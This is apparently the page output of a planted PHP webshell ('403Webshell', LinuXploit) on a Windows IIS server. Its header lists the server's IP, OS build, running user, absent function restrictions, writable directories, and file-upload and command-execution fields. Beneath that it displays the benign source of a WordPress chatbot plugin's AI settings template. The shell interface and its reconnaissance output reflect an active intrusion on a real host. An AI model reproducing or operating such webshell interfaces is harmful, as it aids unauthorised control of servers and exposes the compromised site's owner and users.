403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/wpbot-pro/includes/admin/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/AIWEBSTATION/wp-content/plugins/wpbot-pro/includes/admin/templates/ai_admin.php
<?php
/**
 * AI Admin Template
 *
 * @package Botmaster
 * @since 14.8.2
 */
?>
<div class="qcl-openai ai-settings-container">

			<div class="card admin-maxwith">
				<div class="card-header bg-dark text-white py-sm-4 border-0">
					<div class="row qcld-flex">
						<div class="col-auto me-auto ai-settings-title-container">
							<h4> <a href="<?php echo admin_url( 'admin.php?page=wpbot_openAi' ); ?>"><?php esc_html_e( 'AI Settings', 'wpchatbot' ); ?></a></h4> 
							<select id="ai-provider-selector" class="form-select ai-settings-selector">
								<option value="openai" <?php echo ( get_option( 'ai_enabled' ) === 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'OpenAI', 'wpchatbot' ); ?></option>
								<option value="ollama" <?php echo ( get_option( 'qcld_ollama_enabled' ) == 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'Ollama', 'wpchatbot' ); ?></option>
								<option value="gemini" <?php echo ( get_option( 'qcld_gemini_enabled' ) == 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'Gemini', 'wpchatbot' ); ?></option>
								<option value="grok" <?php echo ( get_option( 'qcld_grok_enabled' ) == 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'Grok', 'wpchatbot' ); ?></option>
								<option value="openrouter" <?php echo ( get_option( 'qcld_openrouter_enabled' ) == 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'OpenRouter', 'wpchatbot' ); ?></option>
								<option value="mistral" <?php echo ( get_option( 'qcld_mistral_enabled' ) == 1 ) ? esc_attr__( 'selected', 'wpchatbot' ) : ''; ?> ><?php echo esc_html__( 'Mistral AI', 'wpchatbot' ); ?></option>
							</select>
						</div>
						<div class="col-auto me-auto ai-settings-title-container">
							<button id="ai-knowledge-base-tab" class="qcld-btn-primary" link="page=wpbot_openAi#ai-knowledge-base-tab"><?php esc_html_e( 'Knowledge Base (RAG)', 'wpchatbot' ); ?></button>
						</div>

					</div>
				</div>
				<?php
				if ( get_option( 'ai_enabled' ) != 1 && get_option( 'qcld_openrouter_enabled' ) != 1 && get_option( 'qcld_ollama_enabled' ) != 1 && get_option( 'qcld_mistral_enabled' ) != 1 && get_option( 'qcld_gemini_enabled' ) != 1 && get_option( 'qcld_grok_enabled' ) != 1 ) {
					?>
							<div id="openai-settings" class="ai-settings-provider">
								<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/openai/admin/admin_ui2.php'; ?>
							</div>
						
					<?php
				}
				?>

				<div id="openai-settings" class="ai-settings-provider" <?php echo ( get_option( 'ai_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/openai/admin/admin_ui2.php'; ?>
				</div>
				<div id="gemini-settings" class="ai-settings-provider" <?php echo ( get_option( 'qcld_gemini_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/gemini/admin/settings.php'; ?>
				</div>
				<div id="grok-settings" class="ai-settings-provider" <?php echo ( get_option( 'qcld_grok_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/grok/admin/settings.php'; ?>
				</div>
				
				<div id="openrouter-settings" class="ai-settings-provider" <?php echo ( get_option( 'qcld_openrouter_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/openrouter/admin/settings.php'; ?>
				</div>
				<div id="ollama-settings" class="ai-settings-provider" <?php echo ( get_option( 'qcld_ollama_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/ollama/admin/settings.php'; ?>
				</div>
				
				<div id="mistral-settings" class="ai-settings-provider" <?php echo ( get_option( 'qcld_mistral_enabled' ) == 1 ) ? 'style="display: block;"' : 'style="display: none;"'; ?> >
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/integration/mistral/admin/settings.php'; ?>
				</div>
				
				<div id="rag-settings" class="ai-settings-provider" style="display: none;">
					<?php require_once QCLD_wpCHATBOT_PLUGIN_DIR_PATH . 'includes/admin/templates/rag.php'; ?>
				</div>
				



				<div class="card-footer bg-dark text-white py-sm-4 border-0"></div>
			</div>

</div>

Youez - 2016 - github.com/yon3zu
LinuXploit